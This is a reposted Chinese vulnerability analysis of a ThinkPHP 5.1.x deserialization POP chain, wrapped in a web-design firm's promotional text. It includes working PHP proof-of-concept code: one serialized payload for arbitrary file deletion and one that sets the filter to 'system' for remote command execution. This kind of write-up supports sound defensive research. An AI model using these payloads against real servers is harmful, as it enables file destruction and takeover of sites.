作者:Ethan@知道創(chuàng)宇404實(shí)驗(yàn)室
時(shí)間:2019年9月21日
成都創(chuàng)新互聯(lián)主要從事成都網(wǎng)站制作、網(wǎng)站設(shè)計(jì)、外貿(mào)網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計(jì)、企業(yè)做網(wǎng)站、公司建網(wǎng)站等業(yè)務(wù)。立足成都服務(wù)黃巖,十載網(wǎng)站建設(shè)經(jīng)驗(yàn),價(jià)格優(yōu)惠、服務(wù)專業(yè),歡迎來電咨詢建站服務(wù):13518219792
今年7月份,ThinkPHP 5.1.x爆出來了一個(gè)反序列化漏洞。之前沒有分析過關(guān)于ThinkPHP的反序列化漏洞。今天就探討一下ThinkPHP的反序列化問題!
在剛接觸反序列化漏洞的時(shí)候,更多遇到的是在魔術(shù)方法中,因此自動(dòng)調(diào)用魔術(shù)方法而觸發(fā)漏洞。但如果漏洞觸發(fā)代碼不在魔法函數(shù)中,而在一個(gè)類的普通方法中。并且魔法函數(shù)通過屬性(對象)調(diào)用了一些函數(shù),恰巧在其他的類中有同名的函數(shù)(pop鏈)。這時(shí)候可以通過尋找相同的函數(shù)名將類的屬性和敏感函數(shù)的屬性聯(lián)系起來。
首先漏洞的起點(diǎn)為
/thinkphp/library/think/process/pipes/Windows.php
的
__destruct()
__destruct()
里面調(diào)用了兩個(gè)函數(shù),我們跟進(jìn)
removeFiles()
函數(shù)。
class Windows extends Pipes{
private $files = [];
....
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
....}
這里使用了
$this->files
,而且這里的
$files
是可控的。所以存在一個(gè)任意文件刪除的漏洞。
POC可以這樣構(gòu)造:
namespace think\process\pipes;
class Pipes{
}
class Windows extends Pipes
{
private $files = [];
public function __construct()
{
$this->files=['需要?jiǎng)h除文件的路徑'];
}
}
echo base64_encode(serialize(new Windows()));
這里只需要一個(gè)反序列化漏洞的觸發(fā)點(diǎn),便可以實(shí)現(xiàn)任意文件刪除。
在
removeFiles()
中使用了
file_exists
對
$filename
進(jìn)行了處理。我們進(jìn)入
file_exists
函數(shù)可以知道,
$filename
會(huì)被作為字符串處理。
而
__toString
當(dāng)一個(gè)對象被反序列化后又被當(dāng)做字符串使用時(shí)會(huì)被觸發(fā),我們通過傳入一個(gè)對象來觸發(fā)
__toString
方法。我們?nèi)炙阉?__toString
方法。
我們跟進(jìn)
\thinkphp\library\think\model\concern\Conversion.php
的Conversion類的第224行,這里調(diào)用了一個(gè)
toJson()
方法。
.....
public function __toString()
{
return $this->toJson();
}
.....
跟進(jìn)
toJson()
方法
....
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
....
繼續(xù)跟進(jìn)
toArray()
方法
public function toArray()
{
$item = [];
$visible = [];
$hidden = [];
.....
// 追加屬性(必須定義獲取器) if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加關(guān)聯(lián)對象屬性 $relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}
.....
我們需要在
toArray()
函數(shù)中尋找一個(gè)滿足
$可控變量->方法(參數(shù)可控)
的點(diǎn),首先,這里調(diào)用了一個(gè)
getRelation
方法。我們跟進(jìn)
getRelation()
,它位于
Attribute
類中
....
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
....
由于
getRelation()
下面的
if
語句為
if (!$relation)
,所以這里不用理會(huì),返回空即可。然后調(diào)用了
getAttr
方法,我們跟進(jìn)
getAttr
方法
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
......
繼續(xù)跟進(jìn)
getData
方法
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
通過查看
getData
函數(shù)我們可以知道
$relation
的值為
$this->data[$name]
,需要注意的一點(diǎn)是這里類的定義使用的是
Trait
而不是
class
。自 PHP 5.4.0 起,PHP 實(shí)現(xiàn)了一種代碼復(fù)用的方法,稱為
trait
。通過在類中使用
use
關(guān)鍵字,聲明要組合的Trait名稱。所以,這里類的繼承要使用
use
關(guān)鍵字。然后我們需要找到一個(gè)子類同時(shí)繼承了
Attribute
類和
Conversion
類。
我們可以在
\thinkphp\library\think\Model.php
中找到這樣一個(gè)類
abstract class Model implements \JsonSerializable, \ArrayAccess{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;
.......
我們梳理一下目前我們需要控制的變量
$files
位于類
Windows
$append
位于類
Conversion
$data
位于類
Attribute
利用鏈如下:
我們現(xiàn)在缺少一個(gè)進(jìn)行代碼執(zhí)行的點(diǎn),在這個(gè)類中需要沒有
visible
方法。并且最好存在
__call
方法,因?yàn)?__call
一般會(huì)存在
__call_user_func
和
__call_user_func_array
,php代碼執(zhí)行的終點(diǎn)經(jīng)常選擇這里。我們不止一次在Thinkphp的rce中見到這兩個(gè)方法??梢栽?/thinkphp/library/think/Request.php
,找到一個(gè)
__call
函數(shù)。
__call
調(diào)用不可訪問或不存在的方法時(shí)被調(diào)用。
......
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
.....
但是這里我們只能控制
$args
,所以這里很難反序列化成功,但是
$hook
這里是可控的,所以我們可以構(gòu)造一個(gè)hook數(shù)組
"visable"=>"method"
,但是
array_unshift()
向數(shù)組插入新元素時(shí)會(huì)將新數(shù)組的值將被插入到數(shù)組的開頭。這種情況下我們是構(gòu)造不出可用的payload的。
在Thinkphp的Request類中還有一個(gè)功能
filter
功能,事實(shí)上Thinkphp多個(gè)RCE都與這個(gè)功能有關(guān)。我們可以嘗試覆蓋
filter
的方法去執(zhí)行代碼。
代碼位于第1456行。
....
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 調(diào)用函數(shù)或者方法過濾 $value = call_user_func($filter, $value);
}
.....
但這里的
$value
不可控,所以我們需要找到可以控制
$value
的點(diǎn)。
....
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 獲取原始數(shù)據(jù)
return $data;
}
....
// 解析過濾器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢復(fù)PHP版本低于 7.1 時(shí) array_walk_recursive 中消耗的內(nèi)部指針
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
.....
但是input函數(shù)的參數(shù)不可控,所以我們還得繼續(xù)尋找可控點(diǎn)。我們繼續(xù)找一個(gè)調(diào)用
input
函數(shù)的地方。我們找到了
param
函數(shù)。
public function param($name = '', $default = null, $filter = '')
{
......
if (true === $name) {
// 獲取包含文件上傳信息的數(shù)組 $file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
這里仍然是不可控的,所以我們繼續(xù)找調(diào)用
param
函數(shù)的地方。找到了
isAjax
函數(shù)
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
在
isAjax
函數(shù)中,我們可以控制
$this->config['var_ajax']
,
$this->config['var_ajax']
可控就意味著
param
函數(shù)中的
$name
可控。
param
函數(shù)中的
$name
可控就意味著
input
函數(shù)中的
$name
可控。
param
函數(shù)可以獲得
$_GET
數(shù)組并賦值給
$this->param
。
再回到
input
函數(shù)中
$data = $this->getData($data, $name);
$name
的值來自于
$this->config['var_ajax']
,我們跟進(jìn)
getData
函數(shù)。
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
return;
}
}
return $data;
}
這里
$data
直接等于
$data[$val]
了
然后跟進(jìn)
getFilter
函數(shù)
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
這里的
$filter
來自于
this->filter
,我們需要定義
this->filter
為函數(shù)名。
我們再來看一下
input
函數(shù),有這么幾行代碼
....if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
...
這是一個(gè)回調(diào)函數(shù),跟進(jìn)
filterValue
函數(shù)。
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 調(diào)用函數(shù)或者方法過濾 $value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正則過濾 if (!preg_match($filter, $value)) {
// 匹配不成功返回默認(rèn)值 $value = $default;
break;
}
.......
通過分析我們可以發(fā)現(xiàn)
filterValue.value
的值為第一個(gè)通過
GET
請求的值,而
filters.key
為
GET
請求的鍵,并且
filters.filters
就等于
input.filters
的值。
我們嘗試構(gòu)造payload,這里需要
namespace
定義命名空間
<?phpnamespace think;abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["calc.exe","calc"]];
$this->data = ["ethan"=>new Request()];
}}class Request{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表單請求類型偽裝變量 'var_method' => '_method',
// 表單ajax偽裝變量 'var_ajax' => '_ajax',
// 表單pjax偽裝變量 'var_pjax' => '_pjax',
// PATHINFO變量名 用于兼容模式 'var_pathinfo' => 's',
// 兼容PATH_INFO獲取 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默認(rèn)全局過濾方法 用逗號分隔多個(gè) 'default_filter' => '',
// 域名根,如thinkphp.cn 'url_domain_root' => '',
// HTTPS代理標(biāo)識 'https_agent_name' => '',
// IP代理獲取標(biāo)識 'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL偽靜態(tài)后綴 'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}}namespace think\process\pipes;use think\model\concern\Conversion;use think\model\Pivot;class Windows{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}}namespace think\model;use think\Model;class Pivot extends Model{}use think\process\pipes\Windows;echo base64_encode(serialize(new Windows()));?>
首先自己構(gòu)造一個(gè)利用點(diǎn),別問我為什么,這個(gè)漏洞就是需要后期開發(fā)的時(shí)候有利用點(diǎn),才能觸發(fā)
我們把payload通過
POST
傳過去,然后通過
GET
請求獲取需要執(zhí)行的命令
執(zhí)行點(diǎn)如下:
利用鏈如下:
https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用鏈/
https://xz.aliyun.com/t/3674
https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html
http://www.f4ckweb.top/index.php/archives/73/
https://cl0und.github.io/2017/10/01/POP%E9%93%BE%E5%AD%A6%E4%B9%A0/
標(biāo)題名稱:Thinkphp反序列化利用鏈深入分析
網(wǎng)頁地址:http://aaarwkj.com/article22/iipecc.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供移動(dòng)網(wǎng)站建設(shè)、定制網(wǎng)站、域名注冊、虛擬主機(jī)、企業(yè)建站、自適應(yīng)網(wǎng)站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)